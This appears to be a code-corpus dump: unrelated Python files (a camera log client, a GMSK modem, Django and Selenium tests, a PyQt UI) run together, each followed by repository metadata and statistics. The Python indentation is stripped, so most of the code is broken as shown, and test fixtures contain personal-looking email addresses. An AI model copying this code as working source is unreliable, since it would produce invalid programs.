sa.PrimaryKeyConstraint('id', 'verification_type')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('verification')
op.drop_table('jumio_verification')
# ### end Alembic commands ###
| 40.345455 | 79 | 0.713384 | 280 | 2,219 | 5.55 | 0.267857 | 0.10296 | 0.153153 | 0.19305 | 0.647362 | 0.591377 | 0.587516 | 0.506435 | 0.328185 | 0.208494 | 0 | 0.03876 | 0.127986 | 2,219 | 54 | 80 | 41.092593 | 0.764341 | 0.125282 | 0 | 0.054054 | 0 | 0 | 0.177521 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.081081 | 0 | 0.135135 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e798df9c3613a25e49d4f31b12f398095cbd43e5 | 1,470 | py | Python | dvrip/cmd/log.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 34 | 2019-05-04T06:06:17.000Z | 2021-12-06T03:28:40.000Z | dvrip/cmd/log.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 9 | 2019-06-17T09:37:50.000Z | 2020-10-24T22:36:29.000Z | dvrip/cmd/log.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 21 | 2019-06-17T09:34:27.000Z | 2022-03-22T18:14:22.000Z | from datetime import datetime
from getopt import GetoptError, getopt
from socket import AF_INET, SOCK_STREAM, socket as Socket
from sys import stderr
from typing import List, NoReturn
from ..io import DVRIPClient
from ..message import EPOCH
from . import EX_USAGE, guard, prog_connect
def usage() -> NoReturn:
print('Usage: {} log [-s START] [-e END]'.format(prog_connect()),
file=stderr)
exit(EX_USAGE)
def run(host: str,
serv: int,
username: str,
password: str,
args: List[str]
) -> None:
try:
opts, args = getopt(args, 's:e:')
except GetoptError:
usage()
if args:
usage()
start = EPOCH
end = datetime.now()
for opt, arg in opts:
if opt == '-s':
from dateparser import parse # type: ignore
start = parse(arg)
if start is None:
usage()
if opt == '-e':
from dateparser import parse # type: ignore
end = parse(arg)
if end is None:
usage()
conn = DVRIPClient(Socket(AF_INET, SOCK_STREAM))
conn.connect((host, serv), username, password)
try:
for entry in conn.log(start=start, end=end):
print('{:>8} {} {:>12} {}'
.format(entry.number,
entry.time.isoformat(),
entry.type.name.lower(),
entry.data))
finally:
conn.logout()
def main() -> None:
from sys import argv
from . import host, serv, username, password
if host() is None:
usage()
guard(run, host(), serv(), username(), password(), argv[1:])
| 22.96875 | 66 | 0.62449 | 199 | 1,470 | 4.572864 | 0.366834 | 0.01978 | 0.036264 | 0.079121 | 0.076923 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0.003591 | 0.242177 | 1,470 | 63 | 67 | 23.333333 | 0.813285 | 0.017007 | 0 | 0.166667 | 0 | 0 | 0.040915 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0.074074 | 0.222222 | 0 | 0.277778 | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e7a3d90a6de6a45565b36fa144dea090e1ad04fd | 872 | py | Python | brainex/misc.py | ebuntel/BrainExTemp | 991038155a6e9289af90da3d800210841ef23ff1 | [
"MIT"
] | 1 | 2020-09-04T16:15:26.000Z | 2020-09-04T16:15:26.000Z | brainex/misc.py | ebuntel/Brainextemp | 991038155a6e9289af90da3d800210841ef23ff1 | [
"MIT"
] | null | null | null | brainex/misc.py | ebuntel/Brainextemp | 991038155a6e9289af90da3d800210841ef23ff1 | [
"MIT"
] | null | null | null | import numpy as np
def pr_red(skk):
print("\033[91m {}\033[00m" .format(skk))
def prYellow(skk):
print("\033[93m {}\033[00m" .format(skk))
def merge_dict(dicts: list):
merged_dict = dict()
merged_len = 0
for d in dicts:
merged_len += len(d)
merged_dict = {**merged_dict, **d} # make sure there is no replacement of elements
try:
assert merged_len == len(merged_dict)
except AssertionError as ae:
print(str(ae))
raise Exception('duplicate dict keys: dict item replaced!')
return merged_dict
def fd_workaround():
pr_red('Unable to install FastDTW, please run this command in the terminal to install the required package: ')
pr_red('pip install git+git://github.com/ApocalyVec/fastdtw.git')
def allUnique(x):
seen = list()
return not any(i in seen or seen.append(i) for i in x) | 27.25 | 114 | 0.65711 | 133 | 872 | 4.210526 | 0.548872 | 0.089286 | 0.039286 | 0.053571 | 0.064286 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031111 | 0.225917 | 872 | 32 | 115 | 27.25 | 0.798519 | 0.051606 | 0 | 0 | 0 | 0 | 0.282082 | 0.052058 | 0 | 0 | 0 | 0 | 0.086957 | 1 | 0.217391 | false | 0 | 0.043478 | 0 | 0.347826 | 0.130435 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7a8aa6b70456f5550774b4856cbe073e29b6d11 | 4,818 | py | Python | test/test_modify_contact.py | EkaterinaPentjuhina/python_training | 43f939cf690a91af9ec0fddfd18f9e3c55cfefb6 | [
"Apache-2.0"
] | 1 | 2020-06-08T17:16:29.000Z | 2020-06-08T17:16:29.000Z | test/test_modify_contact.py | EkaterinaPentjuhina/python_training | 43f939cf690a91af9ec0fddfd18f9e3c55cfefb6 | [
"Apache-2.0"
] | null | null | null | test/test_modify_contact.py | EkaterinaPentjuhina/python_training | 43f939cf690a91af9ec0fddfd18f9e3c55cfefb6 | [
"Apache-2.0"
] | null | null | null | from model.contact_properties import Contact
import random
import allure
def test_edit_contact(app, db, check_ui):
with allure.step('Given a non-empty contact list'):
if len(db.get_contact_list()) == 0:
app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina",
nickname="kate_penti", title="ttl", company="company", address="Kolomna",
mobilephone="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net",
address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October",
byear="1991", aday="1", amonth="January", ayear="2010"))
old_contacts = db.get_contact_list()
with allure.step('Given a random contact from the list'):
contact = random.choice(old_contacts)
with allure.step("Given new contact's data"):
update_contact = Contact(firstname="Katerina", middlename="Aleksandrovna", lastname="Pentjuhina",
nickname="kate_penti", title="ttl", company="company", address="Kolomna",
mobilephone="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net",
address2="address", phone2="home-phone", notes="notes")
with allure.step("When I modify the contact's properties"):
app.contact.edit_contact_by_id(contact.id, update_contact)
with allure.step('Then the new contact list is equal to the old contact list with the modified contact'):
new_contacts = db.get_contact_list()
assert len(old_contacts) == len(new_contacts)
index = old_contacts.index(contact)
old_contacts[index] = update_contact
assert old_contacts == new_contacts
if check_ui:
assert sorted(new_contacts, key=Contact.id_or_max) == sorted(app.contact.get_contact_list(), key=Contact.id_or_max)
# def test_edit_contact_firstname(app):
# if app.contact.count() == 0:
# app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina",
# nickname="kate_penti", title="ttl", company="company", address="Kolomna",
# mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net",
# address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October",
# byear="1991", aday="1", amonth="January", ayear="2010"))
# old_contacts = app.contact.get_contact_list()
# app.contact.edit_first_contact(Contact(firstname="Kate"))
# new_contacts = app.contact.get_contact_list()
# assert len(old_contacts) == len(new_contacts)
# def test_edit_contact_mobile(app):
# if app.contact.count() == 0:
# app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina",
# nickname="kate_penti", title="ttl", company="company", address="Kolomna",
# mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net",
# address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October",
# byear="1991", aday="1", amonth="January", ayear="2010"))
# old_contacts = app.contact.get_contact_list()
# app.contact.edit_first_contact(Contact(mobile="8-222-222-22-22"))
# new_contacts = app.contact.get_contact_list()
# assert len(old_contacts) == len(new_contacts)
# def test_edit_first_contact_from_details(app):
# # редактирование контакта - переход к редактированию из формы просмотра деталей контакта
# if app.contact.count() == 0:
# app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina",
# nickname="kate_penti", title="ttl", company="company", address="Kolomna",
# mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net",
# address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October",
# byear="1991", aday="1", amonth="January", ayear="2010"))
# old_contacts = app.contact.get_contact_list()
# app.contact.edit_first_contact_from_details(Contact(address="Saint-Petersburg"))
# new_contacts = app.contact.get_contact_list()
# assert len(old_contacts) == len(new_contacts)
# def test_contact_details(app):
# # просмотр деталей контакта
# app.contact.view_details_of_first_contact()
| 62.571429 | 127 | 0.611872 | 553 | 4,818 | 5.166365 | 0.20434 | 0.066503 | 0.049002 | 0.049002 | 0.715786 | 0.660483 | 0.660483 | 0.660483 | 0.660483 | 0.660483 | 0 | 0.034254 | 0.248651 | 4,818 | 76 | 128 | 63.394737 | 0.754972 | 0.565587 | 0 | 0.137931 | 0 | 0 | 0.234778 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 1 | 0.034483 | false | 0 | 0.103448 | 0 | 0.137931 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7a92a95db912c80cf38633ff72e26c2c4e31c0b | 10,690 | py | Python | gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | 1 | 2021-03-09T07:32:37.000Z | 2021-03-09T07:32:37.000Z | gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | null | null | null | gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | null | null | null | #
# GMSK modulation and demodulation.
#
#
# Copyright 2005-2007,2012 Free Software Foundation, Inc.
#
# This file is part of GNU Radio
#
# GNU Radio is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3, or (at your option)
# any later version.
#
# GNU Radio is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with GNU Radio; see the file COPYING. If not, write to
# the Free Software Foundation, Inc., 51 Franklin Street,
# Boston, MA 02110-1301, USA.
#
# See gnuradio-examples/python/digital for examples
from math import pi
from pprint import pprint
import inspect
import numpy
from gnuradio import gr, blocks, analog, filter
import modulation_utils
import digital_swig as digital
# default values (used in __init__ and add_options)
_def_samples_per_symbol = 2
_def_bt = 0.35
_def_verbose = False
_def_log = False
_def_gain_mu = None
_def_mu = 0.5
_def_freq_error = 0.0
_def_omega_relative_limit = 0.005
# FIXME: Figure out how to make GMSK work with pfb_arb_resampler_fff for both
# transmit and receive so we don't require integer samples per symbol.
# /////////////////////////////////////////////////////////////////////////////
# GMSK modulator
# /////////////////////////////////////////////////////////////////////////////
class gmsk_mod(gr.hier_block2):
"""
Hierarchical block for Gaussian Minimum Shift Key (GMSK)
modulation.
The input is a byte stream (unsigned char with packed bits)
and the output is the complex modulated signal at baseband.
Args:
samples_per_symbol: samples per baud >= 2 (integer)
bt: Gaussian filter bandwidth * symbol time (float)
verbose: Print information about modulator? (boolean)
log: Print modulation data to files? (boolean)
"""
def __init__(self,
samples_per_symbol=_def_samples_per_symbol,
bt=_def_bt,
verbose=_def_verbose,
log=_def_log):
gr.hier_block2.__init__(self, "gmsk_mod",
gr.io_signature(1, 1, gr.sizeof_char), # Input signature
gr.io_signature(1, 1, gr.sizeof_gr_complex)) # Output signature
samples_per_symbol = int(samples_per_symbol)
self._samples_per_symbol = samples_per_symbol
self._bt = bt
self._differential = False
if not isinstance(samples_per_symbol, int) or samples_per_symbol < 2:
raise TypeError, ("samples_per_symbol must be an integer >= 2, is %r" % (samples_per_symbol,))
ntaps = 4 * samples_per_symbol # up to 3 bits in filter at once
sensitivity = (pi / 2) / samples_per_symbol # phase change per bit = pi / 2
# Turn it into NRZ data.
#self.nrz = digital.bytes_to_syms()
self.unpack = blocks.packed_to_unpacked_bb(1, gr.GR_MSB_FIRST)
self.nrz = digital.chunks_to_symbols_bf([-1, 1], 1)
# Form Gaussian filter
# Generate Gaussian response (Needs to be convolved with window below).
self.gaussian_taps = filter.firdes.gaussian(
1, # gain
samples_per_symbol, # symbol_rate
bt, # bandwidth * symbol time
ntaps # number of taps
)
self.sqwave = (1,) * samples_per_symbol # rectangular window
self.taps = numpy.convolve(numpy.array(self.gaussian_taps),numpy.array(self.sqwave))
self.gaussian_filter = filter.interp_fir_filter_fff(samples_per_symbol, self.taps)
# FM modulation
self.fmmod = analog.frequency_modulator_fc(sensitivity)
if verbose:
self._print_verbage()
if log:
self._setup_logging()
# Connect & Initialize base class
self.connect(self, self.unpack, self.nrz, self.gaussian_filter, self.fmmod, self)
def samples_per_symbol(self):
return self._samples_per_symbol
@staticmethod
def bits_per_symbol(self=None): # staticmethod that's also callable on an instance
return 1
def _print_verbage(self):
print "bits per symbol = %d" % self.bits_per_symbol()
print "Gaussian filter bt = %.2f" % self._bt
def _setup_logging(self):
print "Modulation logging turned on."
self.connect(self.nrz,
blocks.file_sink(gr.sizeof_float, "nrz.dat"))
self.connect(self.gaussian_filter,
blocks.file_sink(gr.sizeof_float, "gaussian_filter.dat"))
self.connect(self.fmmod,
blocks.file_sink(gr.sizeof_gr_complex, "fmmod.dat"))
@staticmethod
def add_options(parser):
"""
Adds GMSK modulation-specific options to the standard parser
"""
parser.add_option("", "--bt", type="float", default=_def_bt,
help="set bandwidth-time product [default=%default] (GMSK)")
@staticmethod
def extract_kwargs_from_options(options):
"""
Given command line options, create dictionary suitable for passing to __init__
"""
return modulation_utils.extract_kwargs_from_options(gmsk_mod.__init__,
('self',), options)
# /////////////////////////////////////////////////////////////////////////////
# GMSK demodulator
# /////////////////////////////////////////////////////////////////////////////
class gmsk_demod(gr.hier_block2):
"""
Hierarchical block for Gaussian Minimum Shift Key (GMSK)
demodulation.
The input is the complex modulated signal at baseband.
The output is a stream of bits packed 1 bit per byte (the LSB)
Args:
samples_per_symbol: samples per baud (integer)
gain_mu: controls rate of mu adjustment (float)
mu: fractional delay [0.0, 1.0] (float)
omega_relative_limit: sets max variation in omega (float)
freq_error: bit rate error as a fraction (float)
verbose: Print information about modulator? (boolean)
log: Print modualtion data to files? (boolean)
"""
def __init__(self,
samples_per_symbol=_def_samples_per_symbol,
gain_mu=_def_gain_mu,
mu=_def_mu,
omega_relative_limit=_def_omega_relative_limit,
freq_error=_def_freq_error,
verbose=_def_verbose,
log=_def_log):
gr.hier_block2.__init__(self, "gmsk_demod",
gr.io_signature(1, 1, gr.sizeof_gr_complex), # Input signature
gr.io_signature(1, 1, gr.sizeof_char)) # Output signature
self._samples_per_symbol = samples_per_symbol
self._gain_mu = gain_mu
self._mu = mu
self._omega_relative_limit = omega_relative_limit
self._freq_error = freq_error
self._differential = False
if samples_per_symbol < 2:
raise TypeError, "samples_per_symbol >= 2, is %f" % samples_per_symbol
self._omega = samples_per_symbol*(1+self._freq_error)
if not self._gain_mu:
self._gain_mu = 0.175
self._gain_omega = .25 * self._gain_mu * self._gain_mu # critically damped
# Demodulate FM
sensitivity = (pi / 2) / samples_per_symbol
self.fmdemod = analog.quadrature_demod_cf(1.0 / sensitivity)
# the clock recovery block tracks the symbol clock and resamples as needed.
# the output of the block is a stream of soft symbols (float)
self.clock_recovery = digital.clock_recovery_mm_ff(self._omega, self._gain_omega,
self._mu, self._gain_mu,
self._omega_relative_limit)
# slice the floats at 0, outputting 1 bit (the LSB of the output byte) per sample
self.slicer = digital.binary_slicer_fb()
if verbose:
self._print_verbage()
if log:
self._setup_logging()
# Connect & Initialize base class
self.connect(self, self.fmdemod, self.clock_recovery, self.slicer, self)
def samples_per_symbol(self):
return self._samples_per_symbol
@staticmethod
def bits_per_symbol(self=None): # staticmethod that's also callable on an instance
return 1
def _print_verbage(self):
print "bits per symbol = %d" % self.bits_per_symbol()
print "M&M clock recovery omega = %f" % self._omega
print "M&M clock recovery gain mu = %f" % self._gain_mu
print "M&M clock recovery mu = %f" % self._mu
print "M&M clock recovery omega rel. limit = %f" % self._omega_relative_limit
print "frequency error = %f" % self._freq_error
def _setup_logging(self):
print "Demodulation logging turned on."
self.connect(self.fmdemod,
blocks.file_sink(gr.sizeof_float, "fmdemod.dat"))
self.connect(self.clock_recovery,
blocks.file_sink(gr.sizeof_float, "clock_recovery.dat"))
self.connect(self.slicer,
blocks.file_sink(gr.sizeof_char, "slicer.dat"))
@staticmethod
def add_options(parser):
"""
Adds GMSK demodulation-specific options to the standard parser
"""
parser.add_option("", "--gain-mu", type="float", default=_def_gain_mu,
help="M&M clock recovery gain mu [default=%default] (GMSK/PSK)")
parser.add_option("", "--mu", type="float", default=_def_mu,
help="M&M clock recovery mu [default=%default] (GMSK/PSK)")
parser.add_option("", "--omega-relative-limit", type="float", default=_def_omega_relative_limit,
help="M&M clock recovery omega relative limit [default=%default] (GMSK/PSK)")
parser.add_option("", "--freq-error", type="float", default=_def_freq_error,
help="M&M clock recovery frequency error [default=%default] (GMSK)")
@staticmethod
def extract_kwargs_from_options(options):
"""
Given command line options, create dictionary suitable for passing to __init__
"""
return modulation_utils.extract_kwargs_from_options(gmsk_demod.__init__,
('self',), options)
#
# Add these to the mod/demod registry
#
modulation_utils.add_type_1_mod('gmsk', gmsk_mod)
modulation_utils.add_type_1_demod('gmsk', gmsk_demod)
| 37.118056 | 106 | 0.628344 | 1,353 | 10,690 | 4.710273 | 0.22912 | 0.053664 | 0.080339 | 0.025106 | 0.4563 | 0.408599 | 0.336419 | 0.308489 | 0.265966 | 0.199906 | 0 | 0.010757 | 0.260804 | 10,690 | 287 | 107 | 37.247387 | 0.795748 | 0.210009 | 0 | 0.333333 | 0 | 0 | 0.119113 | 0.003188 | 0 | 0 | 0 | 0.003484 | 0 | 0 | null | null | 0 | 0.048611 | null | null | 0.104167 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7ab9b749df400d1548577100113061652fee1a6 | 1,237 | py | Python | app/core/tests/test_models.py | samkahunga65/recipe-app | 9cc20530d9b144d63a732ebb8a882c4574571a58 | [
"MIT"
] | null | null | null | app/core/tests/test_models.py | samkahunga65/recipe-app | 9cc20530d9b144d63a732ebb8a882c4574571a58 | [
"MIT"
] | null | null | null | app/core/tests/test_models.py | samkahunga65/recipe-app | 9cc20530d9b144d63a732ebb8a882c4574571a58 | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.contrib.auth import get_user_model
class ModelTests(TestCase):
def test_create_user_succesful(self):
"""test thst creating a new ussful"""
email = "samkahunga65@gmail.com"
password = "7Alpha11"
user = get_user_model().objects.create_user(
email=email,
password=password
)
self.assertEqual(user.email, email)
self.assertTrue(user.check_password(password))
def test_new_user_normalise(self):
"""test that new user email is normalised"""
email = 'teest@gmail.COM'
user = get_user_model().objects.create_user(email, 'test123')
self.assertEqual(user.email, email.lower())
def test_new_user_invalid_email(self):
"""test if a new user email is invalid"""
with self.assertRaises(ValueError):
get_user_model().objects.create_user(None, 'test123')
def test_new_superuser(self):
"""Test creating a new superuser"""
user = get_user_model().objects.create_superuser(
'test@londonappdev.com',
'test123'
)
self.assertTrue(user.is_superuser)
self.assertTrue(user.is_staff) | 32.552632 | 69 | 0.641067 | 146 | 1,237 | 5.232877 | 0.321918 | 0.070681 | 0.078534 | 0.099476 | 0.251309 | 0.175393 | 0.099476 | 0.099476 | 0 | 0 | 0 | 0.015184 | 0.254648 | 1,237 | 38 | 70 | 32.552632 | 0.813449 | 0.109943 | 0 | 0 | 0 | 0 | 0.080481 | 0.039778 | 0 | 0 | 0 | 0 | 0.230769 | 1 | 0.153846 | false | 0.115385 | 0.076923 | 0 | 0.269231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e7b2e1c4fe302de386156f3fdfc4d005279001ea | 5,267 | py | Python | gui/loadobservations_widget.py | Varnani/pywd2015-qt5 | b4865eeb80f659d8d7cf8f45807ee3e27e8555fb | [
"MIT"
] | 7 | 2020-04-17T16:33:24.000Z | 2021-12-28T14:27:53.000Z | gui/loadobservations_widget.py | Varnani/pywd2015-qt5 | b4865eeb80f659d8d7cf8f45807ee3e27e8555fb | [
"MIT"
] | null | null | null | gui/loadobservations_widget.py | Varnani/pywd2015-qt5 | b4865eeb80f659d8d7cf8f45807ee3e27e8555fb | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'loadobservations_widget.ui'
#
# Created by: PyQt5 UI code generator 5.11.3
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_ObservationWidget(object):
def setupUi(self, ObservationWidget):
ObservationWidget.setObjectName("ObservationWidget")
ObservationWidget.resize(600, 250)
ObservationWidget.setMinimumSize(QtCore.QSize(450, 200))
ObservationWidget.setMaximumSize(QtCore.QSize(900, 400))
self.gridLayout = QtWidgets.QGridLayout(ObservationWidget)
self.gridLayout.setObjectName("gridLayout")
self.plot_btn = QtWidgets.QPushButton(ObservationWidget)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plot_btn.sizePolicy().hasHeightForWidth())
self.plot_btn.setSizePolicy(sizePolicy)
self.plot_btn.setObjectName("plot_btn")
self.gridLayout.addWidget(self.plot_btn, 5, 0, 1, 1)
self.remove_btn = QtWidgets.QPushButton(ObservationWidget)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.remove_btn.sizePolicy().hasHeightForWidth())
self.remove_btn.setSizePolicy(sizePolicy)
self.remove_btn.setObjectName("remove_btn")
self.gridLayout.addWidget(self.remove_btn, 4, 0, 1, 1)
self.edit_btn = QtWidgets.QPushButton(ObservationWidget)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.edit_btn.sizePolicy().hasHeightForWidth())
self.edit_btn.setSizePolicy(sizePolicy)
self.edit_btn.setObjectName("edit_btn")
self.gridLayout.addWidget(self.edit_btn, 3, 0, 1, 1)
self.add_btn = QtWidgets.QPushButton(ObservationWidget)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.add_btn.sizePolicy().hasHeightForWidth())
self.add_btn.setSizePolicy(sizePolicy)
self.add_btn.setObjectName("add_btn")
self.gridLayout.addWidget(self.add_btn, 2, 0, 1, 1)
self.line = QtWidgets.QFrame(ObservationWidget)
self.line.setFrameShape(QtWidgets.QFrame.HLine)
self.line.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line.setObjectName("line")
self.gridLayout.addWidget(self.line, 1, 0, 1, 3)
self.label = QtWidgets.QLabel(ObservationWidget)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
self.label.setObjectName("label")
self.gridLayout.addWidget(self.label, 0, 0, 1, 3)
self.line_2 = QtWidgets.QFrame(ObservationWidget)
self.line_2.setFrameShape(QtWidgets.QFrame.VLine)
self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_2.setObjectName("line_2")
self.gridLayout.addWidget(self.line_2, 2, 1, 4, 1)
self.curve_treewidget = QtWidgets.QTreeWidget(ObservationWidget)
self.curve_treewidget.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.curve_treewidget.setIndentation(10)
self.curve_treewidget.setExpandsOnDoubleClick(True)
self.curve_treewidget.setObjectName("curve_treewidget")
self.curve_treewidget.header().setDefaultSectionSize(100)
self.curve_treewidget.header().setMinimumSectionSize(50)
self.curve_treewidget.header().setStretchLastSection(True)
self.gridLayout.addWidget(self.curve_treewidget, 2, 2, 4, 1)
self.retranslateUi(ObservationWidget)
QtCore.QMetaObject.connectSlotsByName(ObservationWidget)
def retranslateUi(self, ObservationWidget):
_translate = QtCore.QCoreApplication.translate
ObservationWidget.setWindowTitle(_translate("ObservationWidget", "Load Observations"))
self.plot_btn.setText(_translate("ObservationWidget", "Plot"))
self.remove_btn.setText(_translate("ObservationWidget", "Remove"))
self.edit_btn.setText(_translate("ObservationWidget", "Edit"))
self.add_btn.setText(_translate("ObservationWidget", "Add"))
self.label.setText(_translate("ObservationWidget", "Load or edit observations from files:"))
self.curve_treewidget.headerItem().setText(0, _translate("ObservationWidget", "Filename"))
self.curve_treewidget.headerItem().setText(1, _translate("ObservationWidget", "Type"))
self.curve_treewidget.headerItem().setText(2, _translate("ObservationWidget", "Band"))
| 56.031915 | 104 | 0.734574 | 523 | 5,267 | 7.284895 | 0.210325 | 0.07874 | 0.059843 | 0.056693 | 0.386877 | 0.289764 | 0.249606 | 0.249606 | 0.249606 | 0.225722 | 0 | 0.018766 | 0.160243 | 5,267 | 93 | 105 | 56.634409 | 0.842641 | 0.037403 | 0 | 0.17284 | 1 | 0 | 0.065389 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.024691 | false | 0 | 0.012346 | 0 | 0.049383 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7ba6afcd29c252c66c5224bc72ef91b803fd6ff | 3,285 | py | Python | smida/models.py | dchaplinsky/ragoogle | dccb3d29334c3220ea12c46c725c443c8bd725c0 | [
"MIT"
] | 3 | 2018-06-10T21:20:56.000Z | 2021-04-04T11:21:06.000Z | smida/models.py | dchaplinsky/ragoogle | dccb3d29334c3220ea12c46c725c443c8bd725c0 | [
"MIT"
] | 7 | 2018-08-14T20:54:49.000Z | 2020-06-05T18:17:30.000Z | smida/models.py | dchaplinsky/ragoogle | dccb3d29334c3220ea12c46c725c443c8bd725c0 | [
"MIT"
] | 3 | 2018-06-27T12:53:13.000Z | 2020-09-25T19:41:46.000Z | import logging
from django.db import models
from django.urls import reverse
from abstract.models import AbstractDataset
from names_translator.name_utils import (
generate_all_names,
autocomplete_suggestions,
concat_name,
)
from abstract.tools.countries import COUNTRIES
from abstract.tools.stocks import STOCK_TYPES
from abstract.tools.companies import unify_cyprus_codes, generate_edrpou_options
logging.basicConfig(level=logging.WARNING)
logger = logging.getLogger("smida")
class SmidaModel(AbstractDataset):
def get_absolute_url(self):
return reverse('smida>details', kwargs={'pk': self.id})
def to_dict(self):
dt = self.data
res = {
"_id": self.pk,
"last_updated_from_dataset": self.last_updated_from_dataset,
"first_updated_from_dataset": self.first_updated_from_dataset,
}
names_autocomplete = set()
countries = set()
companies = generate_edrpou_options(dt["EDRPOU"]) | {dt["emitent_name"]}
persons = set()
if dt.get("country_code") in COUNTRIES:
country = COUNTRIES[dt.get("country_code")]
countries = {
